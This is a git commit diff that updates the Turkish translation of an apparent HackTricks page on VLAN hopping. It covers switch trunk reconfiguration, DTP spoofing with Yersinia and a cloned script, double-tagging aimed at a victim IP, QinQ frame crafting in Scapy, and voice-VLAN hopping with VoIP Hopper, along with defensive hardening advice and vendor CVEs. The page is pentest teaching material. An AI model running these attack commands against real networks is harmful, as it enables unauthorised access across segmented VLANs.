mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
413fd6c29e
commit
c5460b1283
@ -4,13 +4,13 @@
|
||||
|
||||
Eğer bir anahtara doğrudan erişim mevcutsa, VLAN segmentasyonu atlatılabilir. Bu, bağlı portun trunk moduna yeniden yapılandırılmasını, hedef VLAN'lar için sanal arayüzlerin oluşturulmasını ve senaryoya bağlı olarak IP adreslerinin dinamik (DHCP) veya statik olarak ayarlanmasını içerir (**daha fazla bilgi için [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Öncelikle, belirli bağlı portun tanımlanması gereklidir. Bu genellikle CDP mesajları aracılığıyla veya **include** maskesi kullanılarak portu arayarak gerçekleştirilebilir.
|
||||
Öncelikle, belirli bağlı portun tanımlanması gereklidir. Bu genellikle CDP mesajları aracılığıyla veya **include** maskesi ile portu arayarak gerçekleştirilebilir.
|
||||
|
||||
**Eğer CDP çalışmıyorsa, port tanımlaması MAC adresini arayarak yapılmaya çalışılabilir**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Trunk moduna geçmeden önce, mevcut VLAN'ların bir listesi derlenmeli ve tanımlayıcıları belirlenmelidir. Bu tanımlayıcılar daha sonra arayüze atanarak trunk üzerinden çeşitli VLAN'lara erişim sağlanır. Kullanılan port, örneğin, VLAN 10 ile ilişkilidir.
|
||||
Trunk moduna geçmeden önce, mevcut VLAN'ların bir listesi derlenmeli ve tanımlayıcıları belirlenmelidir. Bu tanımlayıcılar daha sonra arayüze atanır ve trunk üzerinden çeşitli VLAN'lara erişim sağlanır. Kullanılan port, örneğin, VLAN 10 ile ilişkilidir.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -24,6 +24,7 @@ Trunk moduna geçmek, bağlantıyı geçici olarak kesintiye uğratacaktır, anc
|
||||
|
||||
Sanal arayüzler oluşturulur, VLAN kimlikleri atanır ve etkinleştirilir:
|
||||
```bash
|
||||
# Legacy (vconfig) – still works but deprecated in modern kernels
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
sudo vconfig add eth0 50
|
||||
@ -32,51 +33,67 @@ sudo ifconfig eth0.10 up
|
||||
sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
|
||||
# Modern (ip-link – preferred)
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.10 type vlan id 10
|
||||
sudo ip link add link eth0 name eth0.20 type vlan id 20
|
||||
sudo ip link set eth0.10 up
|
||||
sudo ip link set eth0.20 up
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Sonrasında, DHCP aracılığıyla bir adres talebi yapılır. Alternatif olarak, DHCP'nin mümkün olmadığı durumlarda, adresler manuel olarak yapılandırılabilir:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Bir arayüzde (VLAN 10) statik bir IP adresini manuel olarak ayarlamak için örnek:
|
||||
Bir arayüzde (VLAN 10) statik bir IP adresi manuel olarak ayarlamak için örnek:
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
# or
|
||||
sudo ip addr add 10.10.10.66/24 dev eth0.10
|
||||
```
|
||||
Bağlantı, VLAN'lar 10, 20, 50 ve 60 için varsayılan geçitlere ICMP istekleri başlatarak test edilir.
|
||||
Bağlantı, VLAN'lar 10, 20, 50 ve 60 için varsayılan ağ geçitlerine ICMP istekleri başlatarak test edilir.
|
||||
|
||||
Sonuç olarak, bu süreç VLAN segmentasyonunun aşılmasını sağlar, böylece herhangi bir VLAN ağına sınırsız erişim sağlanır ve sonraki eylemler için zemin hazırlanır.
|
||||
Sonuç olarak, bu süreç VLAN segmentasyonunun aşılmasını sağlar ve böylece herhangi bir VLAN ağına sınırsız erişim imkanı tanır ve sonraki eylemler için zemin hazırlar.
|
||||
|
||||
---
|
||||
|
||||
## Diğer VLAN-Hopping Teknikleri (yetkili switch CLI olmadan)
|
||||
## Diğer VLAN-Hopping Teknikleri (yetkili anahtar CLI olmadan)
|
||||
|
||||
Önceki yöntem, switch'e kimlik doğrulamalı konsol veya Telnet/SSH erişimi olduğunu varsayar. Gerçek dünya etkileşimlerinde, saldırgan genellikle **normal bir erişim portuna** bağlıdır. Aşağıdaki Layer-2 hileleri, switch OS'ye hiç giriş yapmadan yanlamasına geçiş yapmanıza genellikle izin verir:
|
||||
Önceki yöntem, anahtara kimlik doğrulamalı konsol veya Telnet/SSH erişimi olduğunu varsayar. Gerçek dünya etkileşimlerinde, saldırgan genellikle **normal erişim portuna** bağlıdır. Aşağıdaki Layer-2 hileleri, anahtar işletim sistemine hiç giriş yapmadan yanlamasına geçiş yapmanıza genellikle izin verir:
|
||||
|
||||
### 1. Dinamik Trunking Protokolü (DTP) ile Switch-Spoofing
|
||||
### 1. Dinamik Trunking Protokolü (DTP) ile Anahtar-Spoofing
|
||||
|
||||
DTP'yi etkin tutan Cisco switch'leri, eşin bir switch olduğunu iddia etmesi durumunda trunk müzakeresi yapmaktan memnuniyet duyar. Tek bir **DTP “istenen”** veya **“trunk”** çerçevesi oluşturmak, erişim portunu *tüm* izin verilen VLAN'ları taşıyan bir 802.1Q trunk'a dönüştürür.
|
||||
DTP'yi etkin tutan Cisco anahtarları, eşin bir anahtar olduğunu iddia etmesi durumunda bir trunk müzakeresi yapmaktan memnuniyet duyar. Tek bir **DTP “istenen”** veya **“trunk”** çerçevesi oluşturmak, erişim portunu *tüm* izin verilen VLAN'ları taşıyan bir 802.1Q trunk'a dönüştürür.
|
||||
|
||||
*Yersinia* ve birkaç PoC bu süreci otomatikleştirir:
|
||||
*Yersinia* ve birkaç PoC süreci otomatikleştirir:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Bir kez port trunk moduna geçtiğinde, 802.1Q alt arayüzleri oluşturabilir ve önceki bölümde gösterildiği gibi tam olarak pivot yapabilirsiniz. Modern Linux çekirdekleri artık *vconfig* gerektirmiyor; bunun yerine *ip link* kullanın:
|
||||
Recon yardımcı (pasif olarak portun DTP durumunu parmak iziyle belirleme):
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Double-Tagging (Native-VLAN Abuse)
|
||||
|
||||
Eğer saldırgan **native (etiketsiz) VLAN** üzerinde oturuyorsa, *iki* 802.1Q başlığına sahip bir çerçeve, port erişim modunda kilitli olsa bile ikinci bir VLAN'a "atlayabilir". **VLANPWN DoubleTagging.py** (2022-2024 güncellemesi) gibi araçlar enjeksiyonu otomatikleştirir:
|
||||
# or
|
||||
|
||||
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
|
||||
sudo python3 dtpscan.py -i eth0
|
||||
```
|
||||
Bir kez port trunk moduna geçtiğinde, 802.1Q alt arayüzleri oluşturabilir ve önceki bölümde gösterildiği gibi tam olarak geçiş yapabilirsiniz.
|
||||
|
||||
### 2. Double-Tagging (Native-VLAN Suistimali)
|
||||
|
||||
Eğer saldırgan **native (etiketsiz) VLAN** üzerinde oturuyorsa, *iki* 802.1Q başlığına sahip bir çerçeve, port erişim modunda kilitli olsa bile ikinci bir VLAN'a geçebilir. **VLANPWN DoubleTagging.py** (2022-2025 güncellemesi) gibi araçlar enjeksiyonu otomatikleştirir:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. Dış etiket (1), yerel VLAN ile eşleştiği için ilk anahtar tarafından çıkarılır.
|
||||
2. İç etiket (20) artık açığa çıktı; çerçeve VLAN 20'ye doğru trunk üzerinden iletilir.
|
||||
|
||||
Bu teknik, 2025 yılında yerel VLAN'ı varsayılan olarak bırakan ve etiketlenmemiş çerçeveleri kabul eden ağlarda hala çalışmaktadır.
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Birçok kurumsal çekirdek, *Q-in-Q* hizmet sağlayıcı kapsüllemeyi destekler. İzin verildiğinde, bir saldırgan, güvenlik bölgelerini aşmak için bir sağlayıcı (S-etiket) içinde rastgele 802.1Q etiketli trafiği tünelleyebilir. 802.1ad etiket türü 0x88a8 için yakalama yapın ve dış etiketi Scapy ile patlatmayı deneyin:
|
||||
Birçok kurumsal çekirdek, *Q-in-Q* hizmet sağlayıcı kapsüllemeyi destekler. İzin verildiğinde, bir saldırgan, güvenlik bölgelerini aşmak için bir sağlayıcı (S-tag) içinde rastgele 802.1Q etiketli trafiği tünelleme yapabilir. Ethertype `0x88a8` için yakalama yapın ve dış etiketi Scapy ile çıkarmayı deneyin:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
@ -102,6 +113,22 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
### 4. LLDP/CDP Üzerinden Voice-VLAN Ele Geçirme (IP-Phone Spoofing)
|
||||
|
||||
Kurumsal erişim portları genellikle *“erişim + ses”* yapılandırmasında bulunur: iş istasyonu için etiketlenmemiş veri VLAN'ı ve CDP veya LLDP-MED aracılığıyla duyurulan etiketli ses VLAN'ı. Bir IP telefonunu taklit ederek, saldırgan otomatik olarak VoIP VLAN'ını keşfedebilir ve bu VLAN'a geçiş yapabilir—DTP devre dışı olsa bile.
|
||||
|
||||
*VoIP Hopper* (Kali 2025.2 içinde paketlenmiştir) CDP, DHCP seçenekleri **176/242** ve tam LLDP-MED spoofing desteği sunar:
|
||||
```bash
|
||||
# One-shot discovery & hop
|
||||
sudo voiphopper -i eth0 -f cisco-7940
|
||||
|
||||
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
|
||||
sudo voiphopper -i eth0 -z
|
||||
|
||||
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
|
||||
```
|
||||
Teknik, veri/ses ayrımını atlar ve 2025'te birçok modelde LLDP otomatik politikası varsayılan olarak etkin olduğu için kurumsal kenar anahtarlarında son derece yaygındır.
|
||||
|
||||
---
|
||||
|
||||
## Savunma Önerileri
|
||||
@ -109,8 +136,20 @@ sendp(frame, iface="eth0")
|
||||
1. Tüm kullanıcıya açık portlarda DTP'yi devre dışı bırakın: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Her trunk'taki yerel VLAN'ı **kullanılmayan, kara delik VLAN'ı** olarak değiştirin ve etiketleyin: `vlan dot1q tag native`.
|
||||
3. Trunk'larda gereksiz VLAN'ları budayın: `switchport trunk allowed vlan 10,20`.
|
||||
4. Kaçak Layer-2 etkinliğini sınırlamak için port güvenliğini, DHCP snooping ve dinamik ARP denetimini zorunlu kılın.
|
||||
5. Sadece 802.1Q ayrımına güvenmek yerine özel VLAN'ları veya L3 segmentasyonunu tercih edin.
|
||||
4. Kaçak Layer-2 etkinliğini sınırlamak için port güvenliğini, DHCP snooping'i, dinamik ARP denetimini **ve 802.1X**'i zorunlu kılın.
|
||||
5. IP telefon sahteciliği gerekmiyorsa LLDP-MED otomatik ses politikalarını devre dışı bırakın (veya bunları kimlik doğrulaması yapılmış MAC OUI'lerine kilitleyin).
|
||||
6. Sadece 802.1Q ayrımına güvenmek yerine özel VLAN'ları veya L3 segmentasyonunu tercih edin.
|
||||
|
||||
---
|
||||
|
||||
## Gerçek Dünya Satıcı Zafiyetleri (2022-2024)
|
||||
|
||||
Mükemmel bir şekilde sertleştirilmiş bir anahtar yapılandırması bile firmware hataları tarafından zayıflatılabilir. Son örnekler şunlardır:
|
||||
|
||||
* **CVE-2022-20728† – Cisco Aironet/Catalyst Erişim Noktaları**, yerel VLAN'dan yerel olmayan WLAN VLAN'larına enjeksiyona izin vererek kablolu/kablosuz segmentasyonu atlar.
|
||||
* **CVE-2024-20465 (Cisco IOS Endüstriyel Ethernet)**, Dayanıklı Ethernet Protokolü'nü değiştirdikten sonra SVI'lerde ACL atlamasına izin verir, VRF'ler/VLAN'lar arasında trafik sızdırır. Yamanın 17.9.5 veya daha yenisi.
|
||||
|
||||
Her zaman VLAN ile ilgili atlama/ACL sorunları için satıcı tavsiyelerini izleyin ve altyapı görüntülerini güncel tutun.
|
||||
|
||||
---
|
||||
|
||||
@ -118,6 +157,8 @@ sendp(frame, iface="eth0")
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN saldırı aracı seti – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "VLAN Hopping Nedir?" (Ağustos 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- Twingate "VLAN Hopping Nedir?" (Ağu 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- VoIP Hopper projesi – <https://github.com/hmgh0st/voiphopper>
|
||||
- Cisco Tavsiyesi “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user